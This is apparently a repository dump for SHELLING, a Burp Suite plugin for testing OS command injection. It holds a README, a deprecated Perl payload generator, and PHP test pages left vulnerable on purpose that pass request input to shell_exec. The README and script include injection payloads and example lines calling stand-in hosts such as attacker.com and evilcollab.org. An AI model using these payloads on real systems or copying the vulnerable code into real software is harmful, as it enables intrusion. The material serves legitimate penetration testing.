- network traffic, like reverse HTTP connections (`wget http://a.collaborator.example.org`), ICMP ping requests or/and DNS lookups (ping sub.a.collaborator.example.org)
- file system (if we have access to it; we can attempt to inject commands like `touch /tmp/cmdinject` and then inspect the `/tmp` directory if the file was created - or have the customer to do it for us)
- availability (if all the above fails/is not an option, the only way (without involving third parties) to confirm that the injected command has executed, would be an injection of some sort of payload causing a DoS condition like reboot, shutdown or remove)
In order to avoid false negatives, when no command output is returned by the application, it is necessary to employ payloads utilizing a different feedback channel. Network, particularly DNS (watching for specific domain name lookups coming from the target - this is the main feedback channel usede by Burp Collaborator) is a very good choice, as DNS lookups are usually allowed when no other outbound traffic is permitted. Also, this option is great as it works as well with asynchronous injections.
# The tool
The purpose of the SHELLING tool is to generate a set of payloads capable of penetrating all improperly written sanitizers of user supplied input passed to OS shell overlay functions like `system()`, `shell_exec()` and the like.
It comes in the form of a Burp Suite plugin with the following main functionalities:
* Intruder payload provider
* Scanner extension
* Payload export to clipboard/file
* Single byte generator
The full capabilities of this plugin can only be achieved with Burp Pro version, however the tool can still be used with the free Burp Community version (with its inherent limitations like no Active Scanning and limited Intruder attacks).
## User Interface
Below is a sneak peak of the most important sections of the user interface:




## Using the tool
This section focuses only on explaining the main concepts and their implementation, without describing obvious and/or least important options. Most of the sections below are somehow related and it was not that easy to decide in what order they should be presented. Hence, if anything seems unclear and questions arise, just keep reading on.
The default settings the plugin loads with should be optimum for most scenarios, so the tool can be used out of the box without any adjustments.
## Feedback channels
Two out of above mentioned feedback channels (**DNS** and **time**) are fully supported (can be used out of the box without any additional tools or manual actions taken) in the *auto* mode. Feel free to use other feedback channels (*manual* mode only) whenever necessary.
### DNS
In order to catch both synchronous and asynchronous interactions with our payloads, the tool is using Burp Collaborator (https://portswigger.net/burp/help/collaborator).
Burp Collaborator is heavily used by the Burp Active Scanner.
It can as well be used manually (just click on 'Burp'->'Burp Collaborator Client' and try it out yourself), so it can be combined with manual or semi-automated attacks (Repeater, Intruder, tampering through proxy, forging files, using external tools and so on).
Luckily, Burp Suite also provides Burp Collaborator API so it can be used by extensions (and this is exactly what this plugin is doing when **DNS** feedback channel is used).
Service-wise, please keep in mind you can either use the default Collaborator service provided by Portswigger or set up your own.
Having and using a private Collaborator service makes more sense if we set it up with a domain name as short as possible, like x.yz, so the domain names used in the payloads can look like `55.5aglyjo4e8v6j2ot2f255fraw12rqg.n.xy.z` instead of `55.5aglyjo4e8v6j2ot2f255fraw12rqg.burpcollaborator.net`. The longer our payload is, the higher chances for a false negative (the application might reject our payload due to its excessive length before it reaches the vulnerable code).
Also, it's good to always run a health check of the Collaborator service before actually using it.
### time
This is a well known feedback channel for detecting so called 'blind' variant of injection vulnerabilities. It's faster and it does not require external service like DNS. Also, the payloads are shorter. It shouold still be considered less reliable as it will NOT detect asynchronous vulnerabilities, whereas the payload is stored first and then executed by a different process or even system.
Upon successful execution, payloads utilizing this feedback channel (e.g. `sleep 25`) cause a significant delay in the response.
## Payload marking
The payload marking mechanism is very simple. Every single payload generated by the tool has its number (starting at 1).
If payload marking feature is on, upon generation, all instances of the special holder string `PAYLOAD_MARK` in the argument field are replaced with the payload number. This makes it easier to trace back the result to the successful payload that created it.
For example, if the command is set to `touch` and the argument is set to `/tmp/owned.PAYLOAD_MARK`, once the attack is finished and there is a file named `/tmp/owned.1337`, we know that payload number 1337 was the one responsible for creating the file.
We could likewise do something like command=`echo` and argument=`PAYLOAD_MARK>>/tmp/owned`. This way the file `/tmp/owned` would contain all the IDs of the payloads that worked.
The third example could be command=`wget` and argument=`http://attacker.com/owned.PAYLOAD_MARK` if attacker.com is our controlled server to observe interactions.
The fourth example could be command=`nslookup` and argument=`PAYLOAD_MARK.collaborator.attacker.com`, so if our DNS server receives a lookup like `66.collaborator.attacker.com`, we know it was triggered by the 66th payload.
If payload marking feature is off, the `PAYLOAD_MARK` holder - if present - is simply removed from the eventual payload.
## Difference between manual and automatic mode
The mode setting only applies to Intruder and Export (and is ignored by the Active Scanning extension, which is always using the *auto* mode regardless to this setting).
### The auto mode
This mode is enabled by default and recommended.
The automatic mode does not allow one to explicitly specify the command to be injected and neither its argument. In this mode, the actual command used in the payload depends on the feedback channel (e.g. `nslookup` vs `sleep`) and the target OS (e.g. `sleep 25` for nix and `ping -n 25 localhost` for win, because `sleep` is not a thing on win). Also, whereas **DNS** serves as the feedback channel, payload marking is enforced.
#### Combining Intruder with Collaborator
The coolest thing about the *auto* mode is the automated use of the Burp Collaborator service without the need to:
* manually running the Burp Collaborator Client
* copying the domain names from it (*Copy to clipboard*)
* putting them into our payloads/configuration
* keeping the Burp Collaborator Client window open, watching it for interactions
Again, this mode is always used by the Scanner extension anyway regardless to the setting, which means this setting only applies to Intruder and Export. Yes, this means that by default Intruder attacks using payloads provided by this tool **WILL DETECT** Collaborator interactions (either right away or long after the attack was finished) ... and **create issues in the Target, just like they came from the Scanner**!
Every time a set of payloads is generated (in result of running an Active Scan, an Intruder attack or an Export to file/clipboard) with **DNS** as the feedback channel, SHELLING requests the Collaborator service to create a new unique subdomain (just like if we hit the *Copy to clipboard* button in the Burp Collaborator Client - except it happens automatically) and remembers it after the payload set is generated. Every time the Collaborator Service returns interactions, they are all matched against all the domains generated and tracked till this point. By matching the subdomain and the payload marker, it is possible to identify the exact payload/payloads that caused it and (for Scanner and Intruder) trace the base request used for the attack. This set of information is sufficient for automatic insertion of a new issue to the *Issues* list in the *Site Map*, both for Active Scanning and Intruder attacks (this won't work for Export only because there is no base request associated with its instance). See the Intruder section for an actual example (you won't see this trick in any other Burp plugin :D).
##### Why?
The main reason for implementing this Collaborator-enabled, Scanner-like capability for Intruder was the same reason we use Intruder. Sometimes we do not want to run a full Active Scan of a particular insertion point (with all the Scanner checks enabled, while disabling them just for one scanning task only to enable them again right after running it would be even more cumbersome), but instead we only want to test that insertion point for a particular vulnerability, like OS command injection. Also, Intruder gives us insight into the responses (while the scanner alone does not) - speaking of which, check out this: https://github.com/ewilded/shelling/blob/master/README.md#flow.
### The manual mode
The manual mode does not allow one to specify the feedback channel, as we take care of the feedback channel ourselves.
In turn, it gives control over the command and argument, so we can use a configuration like command=`touch` with argument=`/tmp/owned.PAYLOAD_MARK` (payload marking can be still used with manual mode), making the file system our feedback channel.
Another example would be command=`echo` and argument = `1337`. Then we add `1337` to the 'Grep - match' option of the Intruder attack, using the direct output as the feedback channel (without payload marking).
Also, payload marking does not make much sense when using time as the feedback channel (there either is a significant delay or not). But of course we could still do it in manual mode: command=`sleep` and argument=`PAYLOAD_MARK`, so if the payload works, the additional delay in seconds will be equal to the payload number.
## Different approaches to using this tool
With its default configuration, SHELLING currently generates around 200 payloads (using most reasonable base syntaxes, terminator and encoding settings). This is a relatively high number and it will be reduced in future releases, with the default setting moving towards best effort payloads (so ideally the tool would only be using the user-defined *X* first payloads from the list ordered by the likelihood of success).
With all possible options enabled (all base syntaxes, target operating systems, evasive techniques and other types of injections) this number grows to thousands.
Therefore, using the full payload set is obviously not reliable for normal testing and is in my opinion an example of what what James Kettle called "the million payload approach" - explaining that scanners HAVE TO provide best effort payloads instead.
I personally believe that the full payload set provides us with high confidence about the profoundness of the test we conducted against the particular input, but for practical reasons this approach should only be taken against features with high likelihood of calling local binaries/scripts (like any system, diagnostic or file-related tools).
Another scenario for using the full payload set are inputs that behave in a suspicious way (e.g. potential code injection issues detected by the Backslash Powered Scanner) and we are trying to guess the proper syntax and other input conditions - or at least partially automate and therefore speed up the guessing process, providing us with the clear list of payloads we have already tried.
## Scanner
**CAUTION:** Always make sure the item you are about to Scan/Intrude is added to the scope! Issues added from Burp Extensions to targets not in the scope do not pop up!
Active Scanning is by default enabled in the *Global settings*:

A set of payloads (and a separate Collaborator session) is generated individually for each of the insertion points. So, if we decide to scan the entire request (e.g. right click on the request/response in any tool -> `Do an active scan`), there number of active insertion points tested will directly depend on the request and Scanner's `Options -> Attack Insertion Points` configuration.
Scans can be run on individual insertion points only, using Intruder:

## Intruder
*A tip*: I personally recommend setting the Intruder's "new tab behavior" to copy settings from the previous tab:

It saves a lot of time and clicking (every new Intruder attack will automatically have the configuration copied from the previous one, so we do not have to set all the options up all over again).
Setting up SHELLING for use with Intruder is very simple (once done, this setting will be copied to every new Intruder tab):
1) Send the request of choice to Intruder:

2) Pick `Extension generated` as the payload type:

3) Pick `Command injection` as the generator:

4) Make sure that the `Payload Encoding` is off (the output character encoding is handled separately by the tool from the `Evasive techniques` tab and the default encoding is URL):

5) Make sure the target is added to the scope:

### Intruder in auto mode
OK, time for some magic!
The Intruder attack is already set.
Now let's just make sure the SHELLING mode is set to *auto* (it is by default):

Now, we can already hit "Start"... However if we want to be able to see a bit of what's going on under the hood:
* Go to the `Advanced` tab in SHELLING and enable "Verbose extension output":

This will turn on debug information in the Extender -> Shelling -> Output tab:

As we can see, at this point there are no issues for the target:

We hit "Start attack" and watch the magic happen:
Issue pops up:

Plugin verbose output:

### Intruder in manual mode
Nothing exciting, check it out for yourself if you need it.
## Export
Payloads can be exported directly to the clipboard as well as to a text file (so they can be used with external tools, e.g. Intruder run from a Burp Suite installation that does not have SHELLING installed - or maybe even a tool using those payloads to test an application using a totally different protocol than HTTP (e.g. SIP, FTP, SMTP, Telnet, whatever).
## Byte generator
The *Byte generator* is an additional auxiliary payload provider (can be used with Intruder instead of the `Command injection` generator. It provides the following predefined byte ranges:

I personally found it very useful for general fuzzing and research, like:
* trying to discover alternative:
* argument/command separators
* string terminators
* breakout sequences
* error conditions
## Experimental injection modes
SHELLING also supports two experimental injection modes (early stage of development):
* argument injection (please refer to https://github.com/ewilded/shelling/blob/master/DETECTING_ARGUMENT_INJECTION.md for more details and feel free to play with it yourself)
* terminal injection (also known as escape sequence injection vulnerability, e.g. `curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a`)
## Problems and future improvements
Please refer to TODO.txt. Also, I am always happy to see feedback. If you come across issues, false negatives or ideas for improvement, don't be shy.
## Some case examples
### 1) Test cases
For example test cases (the number of all supported cases should be bigger than the total number of payloads generated) please refer to the https://github.com/ewilded/shelling/tree/master/test_cases directory. Below is a screenshot with the current results of these test cases, reflecting the coverage and tool's expected behavior:

### 2) Some real examples
- https://chris-young.net/2017/04/12/pentest-ltd-ctf-securi-tay-2017-walkthrough/
- https://www.exploit-db.com/exploits/41892/
- https://www.exploit-db.com/exploits/34461/
## Recommended tools, projects and special thanks
### Tools I recommend using (not only in tandem with SHELLING, but generally)
#### Flow
An extremely useful Burp Suite plugin simply allowing to monitor and search all the traffic processed by ALL Burp Suite plugins (Proxy, Intruder, Scanner, Extender, Target...). Only when using this plugin you can really know what you are ACTUALLY doing with Burp: https://github.com/PortSwigger/flow
#### Backslash Powered Scanner
The revolutionary, providing research-quality findings Backslash Powered Scanner by James Kettle: https://github.com/PortSwigger/backslash-powered-scanner
#### Error message checks
Although not directly related, this plugin allows better oversight of the responses we are receiving when using Active Scanning.
The capability of defining our own error message patterns along with their type and severity makes it possible to watch Scanner responses for patterns of our choice without the need of writing our own dedicated plugin: https://github.com/augustd/burp-suite-error-message-checks
#### Daniel Bohannon's research
The mind-blowing science and art of command obfuscation by Daniel Bohannon: https://github.com/danielbohannon
#### Special thanks
I would like to express my special thanks to Dawid Goluński and Daniel Bohannon for providing food for thought and inspiration for this project with their awesome work!
Also, special thanks to Marcin Wołoszyn for the extremely useful Flow plugin! Helps me everyday, both with testing AND my own plugin development.
Keep it up, guys!
================================================
FILE: TODO.txt
================================================
SHELLING TODO
--------------------------------
TODO for the next release:
- consider/test the double-separator idea (at least add it as an option)
- make sure we do quotes right (e.g. check against https://www.exploit-db.com/exploits/39767)
- better form of best effort payloads
- payload number recalculation function for each config change, to update the "Save CNT payloads" tab title (so we'll know in advance how many payloads will be produced with the current confgiruation
Also, we can compare the counter with the actual size to check for duplicates/skipped paylaods
- go through ENTIRE Daniel's research
- response-based analysis as an additional feedback channel (for Scanner) and argument injection
- make sure there are no invalid payloads in the payload set
OS-specific improvements:
- nix: https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html#known-bypassesexploits
- nix: Introduce this IFS=,;`cat<<echo aaa > 'test&whoami'
'whoami'' is not recognized as an internal or external command,
operable program or batch file.
WHAT?!?!?!! :DDD
Apparently in cmd.exe & used in filenames has priority over quotes:
C:\Users\win\Desktop\testy>type HELLO > 'test&whoami'
The system cannot find the file specified.
'whoami'' is not recognized as an internal or external command,
operable program or batch file.
C:\Users\win\Desktop\testy>dir
Volume in drive C has no label.
Volume Serial Number is 0CD5-6659
Directory of C:\Users\win\Desktop\testy
06/17/2018 12:35 AM .
06/17/2018 12:35 AM ..
06/17/2018 12:35 AM 0 'test
1 File(s) 0 bytes
2 Dir(s) 6,749,995,008 bytes free
================================================
FILE: VERY_DEPRECATED_AND_NO_LONGER_MAINTAINED_shelling.pl
================================================
#!/usr/bin/perl
## SHELLING - payload generator by ewilded, tuned for OS command injection
use strict;
no strict 'refs';
# CONFIGURATION SECTION START
my $COMMAND='ping'; # sleep, echo, touch, wget, this could be nicely profiled, e.g. by a parameter called 'feedback_channel' or sth
my $ARGUMENT='xPAYLOAD_MARK.sub.evilcollab.org'; #
# in this configuration example we are trying to ravage file upload mechanism in order to write arbitrary files to arbitrary location
my $PAYL=$COMMAND.'ARGUMENT_SEPARATOR'.$ARGUMENT;
my $payload_marking=1; # if we want to mark each payload with a unique identifier, so we can know the winner when it hits the right place
my $TARGET_OS='all'; # other options include 'win' and 'all', 'all' is the default
# Let's try to create proper nix command injection anatomy
## we can deal with three types of porly written check filters:
# 1) the ones that only force the string to begin properly, like ^\w+
# 2) the ones that only force the string to end properly, like \w+$
# 3) the ones that only force the string to have proper beginning and end, with a loophole inside of them, e.g. ^\w+\s+.*\w+$
# We have to create the base payloads list with this thing in mind
# This is why we need both SUFFIXES and PREFIXES, we build all combinations: PREFIX{PAYLOAD}, PREFIX{PAYLOAD}SUFFIX, {PAYLOAD}SUFFIX, we'll also be able to cover injection points starting/ending with quotes
# MALICIOUS_COMMAND=COMMAND+ARGUMENT_SEPARATOR
# THE COMBINATION PATTERNS:
# 1) MALICIOUS_COMMAND (argument injections like `$USER_SUPPLIED` or $(USER_SUPPLIED))
# 2) MALICIOUS_COMMAND+COMMAND_TERMINATOR (in case there was write and command separators were unallowed)
# 3) COMMAND_SEPARATOR+MALICIOUS_COMMAND (for simple injections with no filtering, like cat $USER_SUPPLIED
# 4) COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR (for simple injections with no filtering and appended some fixed content, like 'some_binary $USER_SUPPLIED -someflag')
# 5) COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR+SUFFIX (for simple injections like 'cat $USER_SUPPLIED something', with filtering like \w+$)
# 6) PREFIX+COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR (for injections with weak filtering like ^\w+ and some appended fixed content, like 'cat $USER_SUPPLIED something')
# 7) PREFIX+COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR+SUFFIX (for injections with appended fixed content, like 'cat $USER_SUPPLIED something', with weak filtering like ^\w+\s+.*\w+$)
# 8) PREFIX+MALICIOUS_COMMAND+SUFFIX (`` and $() notations)
# Why we do not combine COMMAND_SEPARATORS along with COMMAND_TERMINATORS in one payload: any quotes will be handled by the prefix stuff anyway, while any fixed appendices will be ignored due to separators instead of terminators (and if separator is not accepted, the command will fail anyway, so there is no point in trailing it with a terminator)... hence, terminators should be used only mutually exclusively with separators!
my @BASE_PAYLOADS=(
$PAYL,
);
my @ARGUMENT_SEPARATORS=('%20%20',"%09%09");
my @COMMAND_SEPARATORS=('%0a%0a','%26','|'); # << after this command terminator, but it might get handy for injection into .bat files
# invvvvv212.org','1', example.org for command injection into overlays of tools like whois. On the flip side, for file uploads these could be '.PNG', '.TXT','.DOC'optional list of suffixes to try (e.g. in order to bypass filters), used only with terminators
my @PREFIXES=('foo.co.uk'); # this could be profiled as well (e.g. profiles like 'hostname','uname','all')
my @PREFIX_SUFFIXES=('"',"'"); # for into-quoted string injections, like fixed_command '$USER_SUPPLIED' or fixed_command "$USER_SUPPLIED"
##### END OF CONFIGURATION SECTION #####
if($TARGET_OS eq 'nix'||$TARGET_OS eq 'all')
{
push(@BASE_PAYLOADS,'$('.$PAYL.')');
push(@BASE_PAYLOADS,'`'.$PAYL.'`');
push(@COMMAND_SEPARATORS,@NIX_COMMAND_SEPARATORS);
push(@ARGUMENT_SEPARATORS,@NIX_ARGUMENT_SEPARATORS);
}
if($TARGET_OS eq 'win'||$TARGET_OS eq 'all')
{
push(@ARGUMENT_SEPARATORS,@WIN_ARGUMENT_SEPARATORS); # a cmd-specific hacky way to use space without a space, too bad it uses other dodgy characters, html-encoded
push(@COMMAND_SEPARATORS,@WIN_COMMAND_SEPARATORS); # as I found out, so called substitute character works as cmd separator for echo in cmd :D
push(@COMMAND_TERMINATORS,@WIN_COMMAND_TERMINATORS);
if($COMMAND eq 'echo') # windows cmd.exe echo accepts a dot and ( as argument separators (and is almost never escaped), echo can be used to read variables and write arbitrary files
{
push(@ARGUMENT_SEPARATORS,@WIN_ECHO_ARGUMENT_SEPARATORS);
}
push(@WIN_ARGUMENT_SEPARATORS,@WIN_ECHO_ARGUMENT_SEPARATORS); # to make incorrect payload avoidance easier
}
sub array_search
{
my $arr=shift;
my $seed=shift;
foreach my $item(@{$arr})
{
return 1 if($item eq $seed);
}
return 0;
}
sub incompatible_targets
{
return 0 if($TARGET_OS ne 'all');
my $entity=shift;
my $payload=shift;
my $what=shift; # terminator or cmd_separator
$payload=~/$COMMAND(.*)$ARGUMENT/;
my $separator=$1;
if(array_search(\@NIX_ARGUMENT_SEPARATORS,$separator)||$payload=~/\$\(/||$payload=~/\`/) #nix detection
{
#print "nix detected: $payload, verifying $entity...\n";
# dealing with a nix-specific
if($what eq 'separator')
{
return 1 if(array_search(\@WIN_COMMAND_SEPARATORS,$entity));
return 1 if(array_search(\@WIN_ARGUMENT_SEPARATORS,$entity));
return 0;
}
if($what eq 'terminator')
{
return 1 if(array_search(\@WIN_COMMAND_TERMINATORS,$entity));
return 0;
}
}
elsif(array_search("@WIN_ARGUMENT_SEPARATORS",$separator)) # win detection
{
#print "win detected: $payload\n";
# dealing with a win-specific payload
if($what eq 'separator')
{
return 1 if(array_search(\@NIX_COMMAND_SEPARATORS,$entity));
return 1 if(array_search(\@NIX_ARGUMENT_SEPARATORS,$entity));
return 0;
}
if($what eq 'terminator')
{
return 1 if(array_search(\@NIX_COMMAND_TERMINATORS,$entity));
return 0;
}
} # universal payload
else
{
#print "universal detected: $payload\n";
return 0; # we are dealing with a universal separator, so no conflict in this payload
}
}
sub get_proper_suffix
{
my $prefix=shift;
my $suffix=$prefix;
if($prefix=~/(')$/||$prefix=~/(")$/)
{
my $quote=$1;
$suffix=~s/$quote$//;
$suffix=$quote.$suffix;
}
return $suffix;
}
# automatically prefix prefixes with quotes in order to gain quoted injection compatibility
my @tmp_prefixes=(@PREFIXES);
foreach my $prefix(@tmp_prefixes)
{
foreach my $prefix_suffix(@PREFIX_SUFFIXES)
{
push(@PREFIXES,$prefix.$prefix_suffix);
}
}
my @output_payloads=();
# First, we fill our output payloads list wth all variations of base payloads, including different argument separators
foreach my $arg_separator(@ARGUMENT_SEPARATORS)
{
foreach my $base_payload(@BASE_PAYLOADS)
{
my $curr_payload=$base_payload;
next if incompatible_targets($arg_separator,$curr_payload,'separator');
$curr_payload=~s/ARGUMENT_SEPARATOR/$arg_separator/;
push(@output_payloads,$curr_payload);
}
}
@BASE_PAYLOADS=(@output_payloads); # overwrite the base with different base command_separator variants
# Second, we fill up our output_payloads with successive combinations from the COMBINATION PATTERNS
# 1) MALICIOUS_COMMAND - already there in its pure version, nice one!
# 2) MALICIOUS_COMMAND+COMMAND_TERMINATOR
foreach my $base_payload(@BASE_PAYLOADS)
{
foreach my $command_terminator(@COMMAND_TERMINATORS)
{
next if incompatible_targets($command_terminator,$base_payload,'terminator');
my $curr_payload=$base_payload.$command_terminator;
push(@output_payloads,$curr_payload);
}
foreach my $command_separator(@COMMAND_SEPARATORS)
{
next if incompatible_targets($command_separator,$base_payload,'separator');
my $curr_payload=$base_payload.$command_separator;
push(@output_payloads,$curr_payload);
}
}
# 3) COMMAND_SEPARATOR+MALICIOUS_COMMAND
foreach my $base_payload(@BASE_PAYLOADS)
{
foreach my $command_separator(@COMMAND_SEPARATORS)
{
next if incompatible_targets($command_separator,$base_payload,'separator');
my $curr_payload=$command_separator.$base_payload;
push(@output_payloads,$curr_payload);
}
}
# 4) COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR
foreach my $base_payload(@BASE_PAYLOADS)
{
foreach my $command_separator(@COMMAND_SEPARATORS)
{
next if incompatible_targets($command_separator,$base_payload,'separator');
my $curr_payload=$command_separator.$base_payload.$command_separator;
push(@output_payloads,$curr_payload);
}
}
# 5) COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR+SUFFIX
foreach my $base_payload(@BASE_PAYLOADS)
{
foreach my $command_separator(@COMMAND_SEPARATORS)
{
next if incompatible_targets($command_separator,$base_payload,'separator');
foreach my $suffix(@PREFIXES) # prefix and suffix are the same
{
next if($suffix=~/'/||$suffix=~/"/); # skip irrelevant payloads
my $curr_payload=$command_separator.$base_payload.$command_separator.$suffix;
push(@output_payloads,$curr_payload);
}
}
}
# 6) PREFIX+COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR
foreach my $base_payload(@BASE_PAYLOADS)
{
foreach my $command_separator(@COMMAND_SEPARATORS)
{
next if incompatible_targets($command_separator,$base_payload,'separator');
foreach my $prefix(@PREFIXES)
{
my $curr_payload=$prefix.$command_separator.$base_payload.$command_separator;
if($curr_payload=~/'/)
{
$curr_payload.="'";
}
elsif($curr_payload=~/"/)
{
$curr_payload.='"';
}
# if the payload starts with a quote, we are closing it with the same quote in order to keep the syntax from breaking
push(@output_payloads,$curr_payload);
}
}
}
# 7) PREFIX+COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR+SUFFIX
foreach my $base_payload(@BASE_PAYLOADS)
{
foreach my $command_separator(@COMMAND_SEPARATORS)
{
next if incompatible_targets($command_separator,$base_payload,'separator');
foreach my $prefix(@PREFIXES)
{
my $suffix=get_proper_suffix($prefix);
my $curr_payload=$prefix.$command_separator.$base_payload.$command_separator.$suffix; # suffix is the same as prefix
# if the payload starts with a quote, we are closing it with the same quote in order to keep the syntax from breaking
push(@output_payloads,$curr_payload);
}
}
}
# 8) PREFIX+MALICIOUS_COMMAND+SUFFIX (`` and $() notations)
foreach my $base_payload(@BASE_PAYLOADS)
{
foreach my $prefix(@PREFIXES)
{
next if(!($base_payload=~/^\`/) && !($base_payload=~/^\$/) && (!($prefix=~/'/)) && (!($prefix=~/"/))); # skip irrelevant base payloads in order to avoid pointless results
my $suffix=get_proper_suffix($prefix);
my $curr_payload=$prefix.$base_payload.$suffix; # suffix is the same as prefix
# if the payload starts with a quote, we are closing it with the same quote in order to keep the syntax from breaking
push(@output_payloads,$curr_payload);
}
}
# FINALLY, PRINT OUR PRECIOUS LIST READY FOR ACTION!
my $cnt=0;
foreach my $output_payload(@output_payloads)
{
if($payload_marking eq 1)
{
$output_payload=~s/PAYLOAD_MARK/$cnt/;
}
else
{
$output_payload=~s/PAYLOAD_MARK//;
}
$cnt++;
print $output_payload."\n";
}
================================================
FILE: build.gradle
================================================
apply plugin: 'java'
tasks.withType(JavaCompile) {
options.encoding = 'UTF-8'
}
repositories {
mavenCentral()
}
dependencies {
compile 'net.portswigger.burp.extender:burp-extender-api:1.7.22'
}
sourceSets {
main {
java {
srcDir 'Java/src'
}
}
}
task fatJar(type: Jar) {
baseName = project.name + '-all'
from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }
with jar
}
================================================
FILE: settings.gradle
================================================
rootProject.name = 'shelling'
================================================
FILE: test_cases/arginj1.php
================================================
array("pipe", "r"),
1 => array("file", $outfile, "w"),
2 => array("file", $errfile, "w")
);
$proc = proc_open($cmd, $descriptorspec, $pipes);
if (!is_resource($proc)) return 255;
fclose($pipes[0]); //Don't really want to give any input
$exit = proc_close($proc);
$stdout = file($outfile);
$stderr = file($errfile);
unlink($outfile);
unlink($errfile);
return $exit;
}
# wget has nice, injection-friendly syntax (many might not be aware of while writing code that calls it):
# Option Syntax
# Since Wget uses GNU getopt to process command-line arguments, every option has a long form along with the short one. Long
# options are more convenient to remember, but take time to type. You may freely mix different option styles, or specify
# options after the command-line arguments. Thus you may write:
# wget -r --tries=10 http://fly.srk.fer.hr/ -o log
$command = 'wget';
$escaped_arg = escapeshellarg($_GET['url']); // while escapeshellarg should be used instead
$all=$command.' "'.$escaped_arg.'"';
echo "Command after concatenation: $all\n";
$output='';
$error='';
cmd_exec($all,$output,$error);
echo "Output:\n";
foreach($output as $out)
{
echo "$out
";
}
echo "Error:\n";
foreach($error as $err)
{
echo "$err
";
}
?>
clickme
================================================
FILE: test_cases/arginj_escape_shell_cmd.php
================================================
";
echo system($all);
?>
clickme
================================================
FILE: test_cases/arginj_wget_doublequote.php
================================================
array("pipe", "r"),
1 => array("file", $outfile, "w"),
2 => array("file", $errfile, "w")
);
$proc = proc_open($cmd, $descriptorspec, $pipes);
if (!is_resource($proc)) return 255;
fclose($pipes[0]); //Don't really want to give any input
$exit = proc_close($proc);
$stdout = file($outfile);
$stderr = file($errfile);
unlink($outfile);
unlink($errfile);
return $exit;
}
# wget has nice, injection-friendly syntax (many might not be aware of while writing code that calls it):
# Option Syntax
# Since Wget uses GNU getopt to process command-line arguments, every option has a long form along with the short one. Long
# options are more convenient to remember, but take time to type. You may freely mix different option styles, or specify
# options after the command-line arguments. Thus you may write:
# wget -r --tries=10 http://fly.srk.fer.hr/ -o log
$command = 'wget';
$escaped_arg = escapeshellarg($_GET['url']); // while escapeshellarg should be used instead
$all=$command.' "'.$escaped_arg.'"';
echo "Command after concatenation: $all\n";
$output='';
$error='';
cmd_exec($all,$output,$error);
echo "Output:\n";
foreach($output as $out)
{
echo "$out
";
}
echo "Error:\n";
foreach($error as $err)
{
echo "$err
";
}
?>
clickme
================================================
FILE: test_cases/arginj_wget_noquotes.php
================================================
array("pipe", "r"),
1 => array("file", $outfile, "w"),
2 => array("file", $errfile, "w")
);
$proc = proc_open($cmd, $descriptorspec, $pipes);
if (!is_resource($proc)) return 255;
fclose($pipes[0]); //Don't really want to give any input
$exit = proc_close($proc);
$stdout = file($outfile);
$stderr = file($errfile);
unlink($outfile);
unlink($errfile);
return $exit;
}
# wget has nice, injection-friendly syntax (many might not be aware of while writing code that calls it):
# Option Syntax
# Since Wget uses GNU getopt to process command-line arguments, every option has a long form along with the short one. Long
# options are more convenient to remember, but take time to type. You may freely mix different option styles, or specify
# options after the command-line arguments. Thus you may write:
# wget -r --tries=10 http://fly.srk.fer.hr/ -o log
$command = 'wget';
$escaped_arg = escapeshellarg($_GET['url']); // while escapeshellarg should be used instead
$all=$command." ".$escaped_arg;
echo "Command after concatenation: $all\n";
$output='';
$error='';
cmd_exec($all,$output,$error);
echo "Output:\n";
foreach($output as $out)
{
echo "$out
";
}
echo "Error:\n";
foreach($error as $err)
{
echo "$err
";
}
?>
clickme
================================================
FILE: test_cases/arginj_wget_singlequote.php
================================================
array("pipe", "r"),
1 => array("file", $outfile, "w"),
2 => array("file", $errfile, "w")
);
$proc = proc_open($cmd, $descriptorspec, $pipes);
if (!is_resource($proc)) return 255;
fclose($pipes[0]); //Don't really want to give any input
$exit = proc_close($proc);
$stdout = file($outfile);
$stderr = file($errfile);
unlink($outfile);
unlink($errfile);
return $exit;
}
# wget has nice, injection-friendly syntax (many might not be aware of while writing code that calls it):
# Option Syntax
# Since Wget uses GNU getopt to process command-line arguments, every option has a long form along with the short one. Long
# options are more convenient to remember, but take time to type. You may freely mix different option styles, or specify
# options after the command-line arguments. Thus you may write:
# wget -r --tries=10 http://fly.srk.fer.hr/ -o log
$command = 'wget';
$escaped_arg = escapeshellarg($_GET['url']); // while escapeshellarg should be used instead
$all=$command." '".$escaped_arg."'";
echo "Command after concatenation: $all\n";
$output='';
$error='';
cmd_exec($all,$output,$error);
echo "Output:\n";
foreach($output as $out)
{
echo "$out
";
}
echo "Error:\n";
foreach($error as $err)
{
echo "$err
";
}
?>
clickme
================================================
FILE: test_cases/escape_cmd_shell_direct.php
================================================
clickme
================================================
FILE: test_cases/escape_shell_cmd.php
================================================
clickme
================================================
FILE: test_cases/lax_domain_name.php
================================================
".shell_exec("ls {$_GET['dir']}");
}
?>
clickme
================================================
FILE: test_cases/no_colon_no_pipe_no_ampersand_no_dollar.php
================================================
".shell_exec("ls {$_GET['dir']}");
}
?>
clickme
================================================
FILE: test_cases/no_space.php
================================================
".shell_exec("ls {$_GET['dir']}");
}
?>
clickme
================================================
FILE: test_cases/no_space_no_colon_no_pipe_no_ampersand.php
================================================
".shell_exec("ls {$_GET['dir']}");
}
?>
clickme
================================================
FILE: test_cases/no_white_chars.php
================================================
".shell_exec("ls {$_GET['dir']}");
}
?>
clickme
================================================
FILE: test_cases/no_white_chars_no_colon_no_pipe_no_ampersand.php
================================================
".shell_exec("ls {$_GET['dir']}");
}
?>
clickme
================================================
FILE: test_cases/no_white_chars_no_colon_no_pipe_no_ampersand_and_quote.php
================================================
".shell_exec("ls '{$_GET['dir']}'");
}
?>
clickme
================================================
FILE: test_cases/no_white_chars_no_colon_no_pipe_no_ampersand_no_dollar.php
================================================
".shell_exec("ls {$_GET['dir']}");
}
?>
clickme
================================================
FILE: test_cases/no_white_chars_start_alphanum.php
================================================
".shell_exec("ls {$_POST['dir']}");
